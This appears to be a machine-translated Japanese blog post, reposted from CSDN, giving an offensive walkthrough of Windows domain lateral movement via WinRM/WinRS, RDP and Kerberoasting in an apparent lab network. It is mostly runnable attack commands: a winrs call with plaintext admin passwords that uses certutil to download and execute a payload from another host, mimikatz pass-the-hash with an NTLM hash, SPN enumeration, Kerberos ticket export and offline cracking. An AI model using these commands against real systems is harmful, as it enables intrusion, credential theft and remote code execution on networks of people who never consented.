[イントラネット セキュリティ] 水平移動 & Kerberos 攻撃 & SPN スキャン & WinRM & WinRS & RDP

章内容

IPC、WMI、SMB、PTH、PTK、PTT、SPN、WinRM,WinRS,RDP、Plink、DCOM、SSH、Exchange、LLMNR ポイズニング、Kerberos_TGS、GPO&DACL、ドメイン制御権限昇格の脆弱性、制約付き委任、データベースの攻撃と防御、システム パッチの配信と実行、EDR を対象とした配信と実行など。

ドメインの水平移動 - WinRM & WinRS - Cleartext & NTLM

WinRM サービスを使用、WinRS 接続を使用
Windows Remote Management の略である WinRM は、管理者がシステム管理タスクをリモートで実行できるようにするサービスです。
Kerberos と NTLM 認証、および基本認証がデフォルトでサポートされています。
モバイル条件: Winrm rs サービスが両側で有効になっています!
このサービスを使用するには、管理者レベルの資格情報が必要です
Windows 2008 以降のバージョンはデフォルトで自動状態であり、Windows Vista/win7 は手動で起動する必要があります;
Windows 2012 以降のバージョンでは、リモートの任意のホストがデフォルトで管理できます。

攻撃者:

winrm quickconfig -q
winrm set winrm/config/Client @{
    
    TrustedHosts="*"}

ここに画像の説明を挿入

1. プローブが利用可能です:

cs 組み込みポート スキャン 5985
ここに画像の説明を挿入

powershell Get-WmiObject -Class win32_service | Where-Object {
    
    $_.name -like "WinRM"}

2. 接続の実行:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

ここに画像の説明を挿入

3. オンライン CS&MSF:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"

4.CSビルトインモバイルプラグイン

ここに画像の説明を挿入

ドメインの水平移動 - RDP - クリアテキストと NTLM

リモート デスクトップ サービスプレーンテキストとハッシュ接続をサポート
条件: 相手が RDP サービスのリモート デスクトップ
RDP 接続を開始します。

  • 現在制御しているホストにリモートで直接接続する (Web サーバー上のリモートで sqlserver に直接接続する)
  • 接続するノードを確立する (プロキシ ツールを使用)お勧め
  • ポート転送 (SQLserver ポート 3389 のトラフィックを webserver ポート 2222 に転送するには、アップロード ツールが必要です)

ここに画像の説明を挿入

1. プローブ サービス:

cs 組み込みポート スキャン 3389

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
portscan 192.168.3.0-192.168.3.255 3389 arp 1024

ここに画像の説明を挿入

2. プローブ接続:

CrackMapExec&MSF バッチ スキャンのユーザー名とパスワードの確認

3. 接続の実行:

平文接続:

mstsc /console /v:192.168.3.32 /admin

ハッシュ接続:

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"		#mimikatz使用HASH连接

ドメインの横移動 - Spn & Kerberos - リクエスト & クラック & リライト

Kerberos 攻撃の利用プロセス:
• SPN サービスの発見
• サービス チケットのリクエスト (ツールの判断と PowerShell スクリプトの判断)
• サービス チケットのエクスポート (mimikatz エクスポート)
• サービス チケットのブルート フォース クラッキング (パスワード辞書を使用して RC4 プロトコルをクラック)

https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html

ポリシーの暗号化 (コントラスト) を構成する必要性を利用するために、
ハッカーは有効なドメイン ユーザーの認証チケット (TGT) を使用して、サーバー上で実行されている 1 つ以上のターゲット サービスのサービス チケットを要求できます。
DC は Active Directory で SPN を検索し、SPN に関連付けられたサービス アカウントでチケットを暗号化して、ユーザーがアクセス権を持っていることをサービスが確認できるようにします。
要求された Kerberos サービス チケットの暗号化タイプは RC4_HMAC_MD5 です。これは、サービス アカウントの NTLM パスワード ハッシュがサービス チケットの暗号化に使用されることを意味します。
ハッカーは、受信した TGS チケットをオフラインでクラックして、対象のサービス アカウントの HASH を取得します (これを Kerberos 攻撃と呼びます)。
ドメイン ユーザー アカウントに任意の SPN が登録されている場合、そのユーザー アカウントのプレーンテキスト パスワードの NTLM ハッシュを使用してサービス チケットが作成されます。

1.環境ホストによって開かれたスキャンとサービス:

powershell setspn -T GOd.org -q */*
powershell setspn -T God.org -q */* | findstr "MSSQL"

ここに画像の説明を挿入

2. 利用可能なプロトコルを検出する - ツール: 1 対多のリクエスト - ドメイン内のホストへの自動リクエスト

https://github.com/GhostPack/Rubeus
Rubeus kerberoast

3. 利用可能なプロトコルを検出する - 手動: ポイントツーポイント リクエスト - リクエスト後にチケット ファイルを生成する

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/fileserv.god.org:1433"

ここに画像の説明を挿入
ここに画像の説明を挿入

mimikatz kerberos::ask /target:MSSQLSvc/fileserv.god.org:1433

4. エクスポート:

mimikatz kerberos::list /export

ここに画像の説明を挿入

5. クラック:
#pass.txt 辞書に基づいて、RC4 暗号化プロトコルのみをクラックできます

python3 tgsrepcrack.py pass.txt "0-40e00000-webserver$@krbtgt~GOD.ORG-GOD.ORG.kirbi"

参考

https://www.freebuf.com/articles/system/174967.html

おすすめ

転載: blog.csdn.net/weixin_53009585/article/details/129833640